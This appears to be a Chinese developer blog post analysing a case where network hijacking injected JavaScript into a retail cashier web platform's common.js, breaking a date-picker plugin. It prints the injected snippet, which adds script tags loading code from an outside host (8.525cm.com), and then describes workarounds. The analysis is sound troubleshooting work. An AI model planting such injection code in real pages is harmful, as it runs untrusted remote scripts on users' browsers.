zoukankan      html  css  js  c++  java
  • 偷天换日:网络劫持,网页js被伪装替换。

       偷天换日

      3月12号石家庄一个客户(后面简称乙方)有几家门店,平台收银(web)有一些功能无法正常使用,平台有上千家门店在使用,到目前为止别的省份都没有此问题。远程协助发现,js日期控件无法正常调用,报js错误。日期插件用的是my97datepicker,用了这么久也没见出过什么问题。
      浏览器查看页面加载的js,发现页面本身加载的js中有重复的(随机重复),一个是common.js还有个common.js?145001231。代码中只有common.js。点开common.js?145001231发现代码没问题。再查看common.js。代码如下

    try {
        if (!document.getElementById("mck0")) {
            var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),
            s1 = "http://8.525cm.com/v2/v.php?id=01";
            var ar = new Array(2);
            ar[0] = s0;
            ar[1] = s1;
            var h = document.getElementsByTagName('head').item(0);
            for (var i = 0; i < 2; ++i) {
                var sc = document.createElement("script");
                sc.type = "text/javascript";
                sc.id = "mck" + i;
                sc.src = ar[i];
                h.appendChild(sc);
            }
        }
    } catch(e) {}
    

      看到这就应该明白为什么会有common.js和common.js?145001231。

      问题找到了,怎么来的呢,先想到的是乙方操作系统有问题或内网arp欺骗。电话询问客户网络环境,得知这几个门店距离很远,不是在一起;而且每个门店使用的宽带都是单独开通的。电脑系统都是统一安装的。让乙方到隔壁店铺登录下试试,乙方找了隔壁的电脑登录后,远程协助,发现也有这个问题。(难道是运营商那边dns挟持的,感觉不太可能)

      这时候已经过去3,4个小时了,好几个门店的收银,和后台进销存无法正常使用。客户那边的经理打电话来,说找了台笔记本,用他们自己的wifi就有这个问题,用移动的4g网络就没问题。那就是网络有问题了,乙方也认同了。当时由于手上还有其他任务要忙,就暂时搁置了。

      3月30今天又得知江西南昌有个客服也遇到了同样的问题,发现问题一模一样。一家还能说是个例,第二家的出现需要将问题等级提高了,虽然不是平台的问题,但对于客户来说没法正常使用,必须要解决。

      应对方案

      1、分析代码。反其道而行,想移除添加的js。

      后来发现思路有点偏,替换的代码是直接添加一个script元素,平台中页面加载js是用document.write(<script/>),替换的js影响了原有页面的js加载顺序导致功能无法正常使用。试着在页面js文件引用改为xxx.js?123,试了下没问题了,又尝试改为xxx.js?,发现也可以,临时这么解决,把出问题的几个页面js引用修改了下。(此问题改过观察中)

      2、浏览器插件。(这个是下策)

      后续思考

      问题并没有真正解决,但是可以通过一些方法解决替换js后所带来的加载顺序问题。

      可以尝试用

      多js打包(还能减少服务器连接次数,提高性能,也要留意下IE和Firefox对同一域名进行请求的并发连接数限制),增加版本号。

      js模块化加载(requireJS类组件)。

      先写到这吧,此问题还在继续观察中...

  • 相关阅读:
    2020.08.02 周作业简要题解
    Codeforces Round #659【部分题解】
    2020.07.25 周作业简要题解
    我遇到的前端面试题总结(2018)
    React懒加载组件实现
    关于前端中遇到各种高度宽度的总结
    React+Redux项目实战总结
    Redux学习总结
    css学习笔记
    JS学习笔记
  • 原文地址:https://www.cnblogs.com/july4/p/5338681.html
Copyright © 2011-2022 走看看